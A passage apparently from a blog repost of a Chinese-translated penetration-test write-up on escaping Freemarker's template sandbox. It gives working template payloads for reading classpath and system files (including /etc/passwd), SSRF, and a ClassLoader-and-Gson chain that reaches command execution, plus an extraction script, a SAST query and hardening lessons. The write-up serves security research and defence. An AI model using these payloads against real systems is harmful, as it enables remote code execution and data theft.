Freemarker模板注入 Bypass

2019-04-22 约 3911 字 预计阅读 8 分钟

声明:本文 【Freemarker模板注入 Bypass】 由作者 Hulk 于 2019-04-22 09:51:00 首发 先知社区 曾经 浏览数 3 次

感谢 Hulk 的辛苦付出!

文章来源:https://ackcent.com/blog/in-depth-freemarker-template-injection/


前言

在最近的一次渗透测试中,我们的AppSec团队碰到了一个棘手的Freemarker服务端模板注入。由于我们在网上没有找到深入研究这类模板注入的相关文章,于是决定写下本文,针对Freemarker注入,我们将灵活变通,尝试各种方法来做一些很酷的事。

概述

我们被分配测试一个内容管理系统(CMS)应用,客户使用它可以在网上发布各种内容。在本次测试中,我们只拥有该CMS的一些低权限账户,因此,本次测试的一个重要组成部分就是弄清楚是否存在一些越权漏洞并尝试取得高权限。

经过一些探索性测试后,我们偶然发现了一个部分,用户可以通过其按钮来管理模板。这里的模板为Freemarker,此时我立马想到服务端模板注入。有一个快速,众所周知的Poc常用于利用该模板获取任意代码执行权限:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id)}

但问题是我们的账户权限过低,无法编辑模板,因此我们首先需要提升权限。有些幸运,经过几个小时的努力我们发现其权限管理系统存在一个认证缺陷,通过它我们获得了该站点的管理员权限。非常好!下一步,我们瞄准了代码执行。我们创建一个模板,粘贴Poc然后页面返回:

Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.

好吧,它似乎不是不堪一击的。

模板类解析器

Freemarker模板为了限制TemplateModels被实例化,在其配置中注册了TemplateClassResolver。下面是三个预定义的解析器:

  • UNRESTRICTED_RESOLVER:简单地调用ClassUtil.forName(String)
  • SAFER_RESOLVER:和第一个类似,但禁止解析ObjectConstructor, Executefreemarker.template.utility.JythonRuntime
  • ALLOWS_NOTHING_RESOLVER:禁止解析任何类。

目标使用的模板类解析器为:ALLOWS_NOTHING_RESOLVER,所以我们无法使用?new。也就是我们不能使用任何TemplateModel,不能利用它来获取任意代码执行。此时,我们开始大量阅读Freemarker的文档,想要找到其他方式来造成服务端模板注入。

Freemarker内置的?api

经过一番搜寻,我发现Freemarker支持一个内置函数:?api,通过它可以访问底层Java Api Freemarker的BeanWrappers。这个内置函数默认不开启,使用Configurable.setAPIBuiltinEnabled可以开启它。我们非常幸运,因为对于目标模板我们发现该函数是开启的,因此我们探索的方向又多了起来。

但执行代码仍非易事:Freemarker模板有很好的安全防护,它严格限制通过?api能够访问的类和方法。在其官方的Github存储库中,我们发现一个特性文件,该文件列出了禁止调用的名单。

简单归纳:我们无法调用Class.forNameClass.getClassLoaderClass.newInstanceConstructor.newInstanceMethod.invoke。获得任意代码执行权限的机会渺茫。但通过Java调用和表达式一定还存在其他有趣的方法可以实现,我们没有气馁,仍在继续研究。

访问类路径中的资源

我们突然发现Object.getClass没有被禁用。利用它,我们可以通过模板中公开的BeanWrapper来访问Class<?>类,并从其中调用getResourceAsStream。然后,我们就可以访问该应用类路径中的任意文件了。通过这个方法读取文件内容有些复杂(可能有其他捷径),我们使用了下面这段代码:

<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]

(注意这里的object是一个BeanWrapper,它是模板自带的数据模型之一,我们没有创建它)在渲染模板后,所选文件的每个字节都将呈现出来,并且以[]间隔开来。这太繁琐了,我们使用Python脚本快速将其转换为一个文件。

match = re.search(r'FILE:(.*),\s*(\\n)*?]', response)
literal = match.group(1) + ']'
literal = literal.replace('\\n', '').strip()
b = ast.literal_eval(literal)
barray = bytearray(b)
with open('exfiltrated', 'w') as f:
    f.write(barray)

然后,我们就可以列出目录的所有内容,我们可以访问.properties这类敏感文件,它们可能包含一些访问凭据,还可以下载.jar.class文件,从而反编译获取程序源代码。这时,渗透测试突然变成代码审计了,我们的AppSec团队在这方面有丰富的经验。的确我们这样做了,我们发现一个大奖,在源代码中找到了AWS的明文凭据,利用它可以访问高价值的AWS S3储存桶。这是个血的教训:(开发者)千万不能因为“黑客无法访问它”而将明文凭据放在源代码中。

读取系统任意文件

我们被困在类路劲中,很无聊,因此我们继续深入发掘。通过仔细阅读Java文档后,我们发现可以通过Class.getResource的返回值来访问对象URI,该对象包含方法toURL。因为URI提供静态方法create,通过该方法我们可以创建任意URI,然后用otURL将其返回至URI。经过一些修改,我们构造下面这段代码来窃取系统的任意文件:

<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]

这段代码很好,但仍不是完美的。我们使用http://https://ftp://)替换掉file://,此时一个受限的模板注入变成一个完全的服务端模板注入了!为进一步扩大影响,我们可以通过它来查询AWS元数据

Cool,让我们进一步探究能否再干点什么。

通过ProtectionDomain来获取ClassLoader

重新读完Java文档的Class部分后,我们注意到了getProtectionDomain方法。通过该方法可以访问对象ProtectionDomain,巧合的是,该对象有自己的getClassLoader方法。Freemarker的unsafeMethods.properties文件没有限制调用ProtectionDomain.getClassLoader,因此我们找到了一个通过模板访问ClassLoader的方法。

现在我们可以加载引用任意类(即Class<?>对象),但是我们仍不能实例化它们或调用其方法。尽管这样,我们可以检查字段,如果是static的我们还可以获取它们的值(对于非静态,我们没有合适的实例来访问它们)。这似乎有点希望,我们查获取最终的代码执行只差一步。

任意代码执行

前面我们通过getResourceAsStream方法已经下载了一大堆源代码,这时我们再次审查它们,搜寻可以可以加载并且有静态字段的类。一会儿后,我们找到了:一个字段为public static final的类,它是Gson的一个实例。Gson是一个谷歌创建的JSON对象操作库,它的安全性很高。但是,我们现在可以访问一个实例了,要想实例化任意类只是时间问题:

<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign instance=gson?api.fromJson("{}", classLoader.loadClass("our.desired.class"))>

(我们通过Field.get访问静态字段,因此并不需要参数,我们只是简单使用null。)

终于我们可以实例化任意对象。但是,因为unsafeMethods.properties安全政策的存在,Runtime.getRuntime等方法无法实现,我们不能直接获取代码执行。但我突然发现,可以使用Freemarker自带的模板模型Execute,并且无需使用内置的?new来实例化它。OK,问题都解决了,我们找到了获取任意代码执行的方法:

<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("id")}

反馈:

uid=81(tomcat) gid=81(tomcat) groups=81(tomcat)

SAST查询

开发者如果在早期用SAST扫描其源代码,该问题在开发阶段就能解决,而不至于拖到今天,并且修复起来也更简单。在SAST工具上,我写了下面这段查询,它是一个出色的代码审计工具:

CxList setApiBuiltIn = Find_Methods().FindByShortName("setAPIBuiltinEnabled");
CxList setApiBuiltInParams = All.GetParameters(setApiBuiltIn);
result = setApiBuiltIn.FindByParameters(setApiBuiltInParams.FindByShortName("true"));

由于Freemarker内置的?api默认不开启,因此使用ture可以轻松查找setAPIBuiltinEnabled方法的调用,并从报告结果中获取警示。

小结

本文,我们分享了当Freemarker的TemplateClassResolver全部禁用时如何绕过,简介造成模板注入。通过利用内置的?api,我们发现获取敏感数据的方法,并且通过过与某个特殊类的组合来获取任意代码执行。

几个重要的启示

  • 首先,赋予用户创建编辑动态模板的权限是非常危险的。模板语言是世界上最好的语言(●ˇ∀ˇ●),我们需要更加谨慎地处理它,同时在分配权限时需要考虑到,模板编辑的权限是否只是Web服务器管理员(防御潜在的越权漏洞)才有。
  • 内置?api是否开启?攻击者滥用它可以做一些危险的事,例如下载源代码,造成SSRF或者RCE。这就是它默认关闭的原因。除非迫不得已,请勿开启它。
  • Java在开发代码阶段提供了一些保护措施,开发者应该正视它:当攻击者实现了JVM中的某种代码执行时,(代码中)暴露的或者通过Serializable类泄露的敏感数据有着极高的风险。Freemarker自带一些保护措施(例如关闭像setAccessible这样危险的映射方法),具有良好的安全性和经得起实践的代码总能使攻击者举步维艰。

总之,这是一次非常棒的渗透测试,在发现禁用如何解析器时我们对获取代码执行几乎绝望,但绕过的过程很有趣。此外,我们希望这篇文章对于发现自己处于类似情况,研究在受限或者沙盒中如何突破限制的渗透测试者所有帮助。

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now